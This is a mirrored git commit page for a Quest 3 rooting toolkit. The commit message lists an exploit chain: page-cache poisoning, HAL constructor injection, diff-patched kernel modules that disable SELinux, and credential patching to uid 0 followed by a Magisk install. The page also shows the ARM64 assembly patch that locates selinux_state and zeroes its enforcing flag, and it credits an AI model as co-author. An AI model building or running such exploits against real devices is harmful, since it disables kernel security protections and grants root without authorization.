mirror of
https://github.com/Henry1887/fuguquest.git
synced 2026-10-28 19:55:04 +00:00
henryandClaude Opus 4.8
e6f63ba514
Single JSON-driven toolkit. From an unprivileged (uid 2000) adb shell on a
locked retail Quest 3:
- Dirty-Frag page-cache poison stages an attacker-keyed AES-GCM ESP SA and
injects an init_array ctor into hal_tracking (via libeva) that poisons a
diff-patched vendor .ko (llcc_perfmon) to flip selinux_state.enforcing=0;
- ctl.start insmod_sh finit-loads it -> SELinux Permissive (zero root);
- --postex: a second diff-patched carrier (usbip-vudc) cred-patches a waiting
shell to uid 0 (+ syncs the SELinux status page via
selinux_status_update_setenforce) and runs Singularity Magisk (v30.7 fork,
no zygote restart) -> headless `su` under SELinux Enforcing, ~40s.
Both carriers are DIFF-PATCHED existing modules (no per-kernel compilation);
adding a firmware = `port.py --zip ... --device ...` -> targets/<name>.json.
Proven on builds 52345320027600520 and 52433670032200520.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
22 lines
1.3 KiB
ArmAsm
22 lines
1.3 KiB
ArmAsm
// Reference for the 52-byte carrier init patch embedded as PATCH_INIT in orchestrate.py.
|
|
// Relocation-free enforcing=0: reuse the module's own init `bl <anchor>` (kept at .init.text+0x14,
|
|
// kernel relocates it via CALL26) as a live kernel-address anchor; decode its imm26 -> anchor addr;
|
|
// add DELTA (=selinux_state - anchor) -> selinux_state; strb wzr (enforcing@+0). movz/movk (0x1c/0x20)
|
|
// are patched per-target from delta_selinux_from_anchor. orchestrate.py also repoints the module's
|
|
// single .init.text CALL26 reloc to 0x14 and NONEs the other init relocs.
|
|
paciasp // 0x00 landing pad + sign lr
|
|
adr x1, anchor // 0x04
|
|
ldr w2, [x1] // 0x08 relocated bl word
|
|
sbfx x2, x2, #0, #26 // 0x0c imm26 sign-extend
|
|
b skip // 0x10
|
|
anchor:
|
|
bl 0 // 0x14 CALL26 -> anchor symbol (never executed)
|
|
skip:
|
|
add x1, x1, w2, sxtw #2 // 0x18 = anchor addr
|
|
movz x2, #0 // 0x1c DELTA low (patched)
|
|
movk x2, #0, lsl #16 // 0x20 DELTA high (patched)
|
|
add x1, x1, x2 // 0x24 = selinux_state
|
|
strb wzr, [x1] // 0x28 enforcing = 0
|
|
autiasp // 0x2c
|
|
ret // 0x30
|